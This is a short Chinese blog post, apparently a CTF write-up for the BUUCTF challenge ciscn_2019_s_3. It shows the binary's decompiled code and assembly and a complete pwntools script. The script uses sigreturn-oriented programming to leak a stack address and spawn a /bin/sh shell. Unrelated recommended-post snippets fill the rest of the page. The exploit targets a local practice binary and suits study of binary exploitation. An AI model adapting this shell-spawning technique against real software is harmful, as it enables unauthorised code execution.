SROP
先放个例题吧,原理后面有时间再更:BUUCTF ciscn_2019_s_3
保护只开了nx
1 signed __int64 vuln()
2 {
3 signed __int64 v0; // rax
4 char buf[16]; // [rsp+0h] [rbp-10h] BYREF
5
6 v0 = sys_read(0, buf, 0x400uLL);
7 return sys_write(1u, buf, 0x30uLL);
8 }
1 .text:00000000004004ED vuln proc near ; CODE XREF: main+14↓p
2 .text:00000000004004ED
3 .text:00000000004004ED buf = byte ptr -10h
4 .text:00000000004004ED
5 .text:00000000004004ED ; __unwind {
6 .text:00000000004004ED push rbp
7 .text:00000000004004EE mov rbp, rsp
8 .text:00000000004004F1 xor rax, rax
9 .text:00000000004004F4 mov edx, 400h ; count
10 .text:00000000004004F9 lea rsi, [rsp+buf] ; buf
11 .text:00000000004004FE mov rdi, rax ; fd
12 .text:0000000000400501 syscall ; LINUX - sys_read
13 .text:0000000000400503 mov rax, 1
14 .text:000000000040050A mov edx, 30h ; '0' ; count
15 .text:000000000040050F lea rsi, [rsp+buf] ; buf
16 .text:0000000000400514 mov rdi, rax ; fd
17 .text:0000000000400517 syscall ; LINUX - sys_write
18 .text:0000000000400519 retn
1 .text:00000000004004D6 gadgets proc near
2 .text:00000000004004D6 ; __unwind {
3 .text:00000000004004D6 push rbp
4 .text:00000000004004D7 mov rbp, rsp
5 .text:00000000004004DA mov rax, 0Fh
6 .text:00000000004004E1 retn
7 .text:00000000004004E1 gadgets endp ; sp-analysis failed
8 .text:00000000004004E1
很明显的SROP,要上课了,先把exp放出来吧
1 from pwn import *
2 context.log_level='debug'
3 context.arch='amd64'
4
5 s=process('./1')
6
7 read=0x4004F1
8 syscall_ret=0x400517
9 mov_rax_0xf=0x4004DA
10
11
12 payload=b'/bin/sh\x00aaaaaaaa'+p64(read)
13 s.sendline(payload)
14
15 s.recv(32)
16 bin_sh_addr=u64(s.recv(8))-0x118
17
18 sigframe=SigreturnFrame()
19 sigframe.rax=constants.SYS_execve#0x3b
20 sigframe.rdi=bin_sh_addr
21 sigframe.rip=syscall_ret
22
23 payload=b'a'*0x10+p64(mov_rax_0xf)+p64(syscall_ret)+bytes(sigframe)
24 s.send(payload)
25
26 s.interactive()
SROP的更多相关文章
- srop实战
前言 srop 的作用比较强,在条件允许的情况下,尽量使用它.题目来自于 i春秋的一个比赛. 题目链接: https://gitee.com/hac425/blog_data/blob/master/ ...
- SROP例题
具体攻击原理可以参考安全客这篇文章:入口 刚学了一点,也是懵懵懂懂的,拿几道题来练练手. ciscn_2019_es_7 64位程序,只开启了NX保护. 相当于执行了read(0,buf,0x400) ...
- SROP的一个实例
以前一直只是大概看过这种技术,没实践过,今天刚好遇到一道题,实践了一波,确实很方便 unmoxiao@cat ~/s/pd_ubuntu> r2 -A smallest 00:54:15 War ...
- PetaPoco4.0的事务为什么不会回滚
using (var srop=DbHelper.CurrentDb.GetTransaction()) { ID = bp.AddModel(model).ToStr(); #region 参与楼盘 ...
- 套题T7
P4712 铺瓷砖 时间: 1000ms / 空间: 65536KiB / Java类名: Main 描述
- pwntools简介
安装binutils: git clone https://github.com/Gallopsled/pwntools-binutils sudo apt-get install software- ...
- 2.oracle之用户管理sql
--创建用户--create user 用户名 identified by 密码;create user jojo identified by bean; --给用户授权--grant conn ...
- mysql grep database error(cannot rmdir /dbname)
service mysql stop cd /var/lib/mysql/dbname rm -rf .fmr rm -rf .txt service mysql start srop databas ...
- 使用jdk进行数据迁移(sqlite迁移mysql)
直接粘贴代码 注意:rewriteBatchedStatements=true(加快连接速度) package com.wbg; import org.omg.Messaging.SYNC_WITH_ ...
随机推荐
- Shell学习(五)—— awk命令详解
一.awk简介 awk是一个非常好用的数据处理工具,相对于sed常常作用于一整个行的处理,awk则比较倾向于一行当中分成数个[字段]处理,因此,awk相当适合处理小型的数据数据处理.awk是一种报 ...
- Oracle—回车、换行符
1.回车换行符 chr(10)是换行符, chr(13)是回车, 增加换行符: select ' update ' || table_name || ' set VALID_STATE =''0A'' ...
- Output of C++ Program | Set 18
Predict the output of following C++ programs. Question 1 1 #include <iostream> 2 using namespa ...
- mybatis错误 Mapped Statements collection does not contain value for
java.lang.IllegalArgumentException: Mapped Statements collection does not contain value for 在unit里测试 ...
- 【Linux】【Services】【SaaS】Docker+kubernetes(10. 利用反向代理实现服务高可用)
1. 简介 1.1. 由于K8S并没有自己的集群,所以需要借助其他软件来实现,公司的生产环境使用的是Nginx,想要支持TCP转发要额外安装模块,测试环境中我就使用HAPROXY了 1.2. 由于是做 ...
- 小程序的事件 bindtap bindinput
一.bindtap事件 在wxml文件里绑定: <view class='wel-list' bindtap='TZdown'> <image src="/images/w ...
- 爬虫之正则表达式re模块
为什么要学正则表达式 实际上爬虫一共就四个主要步骤: 明确目标 (要知道你准备在哪个范围或者网站去搜索) 爬 (将所有的网站的内容全部爬下来) 取 (去掉对我们没用处的数据) 处理数据(按照我们想要的 ...
- react18 来了,我 get 到...
大家好! 本文主要是关于即将发布的 react 18 的新特性.那么 react18 带来了什么呢? 详情可以关注 github React 18 工作组仓库 1. automatic batchin ...
- BDD自动化测试框架cucumber(1): 最基本的demo
BDD(Behavior Driven Development),行为驱动开发, 对应自动化测试框架,python有behave,java有cucumber, 这次记录cucumber+springb ...
- bootstrap.css 进度条没有动画效果
操作系统设置会影响浏览器的行为 Win+R 输入 sysdm.cpl ,3 打开 性能 的 设置 确保 窗口内动画控件和元素 被勾选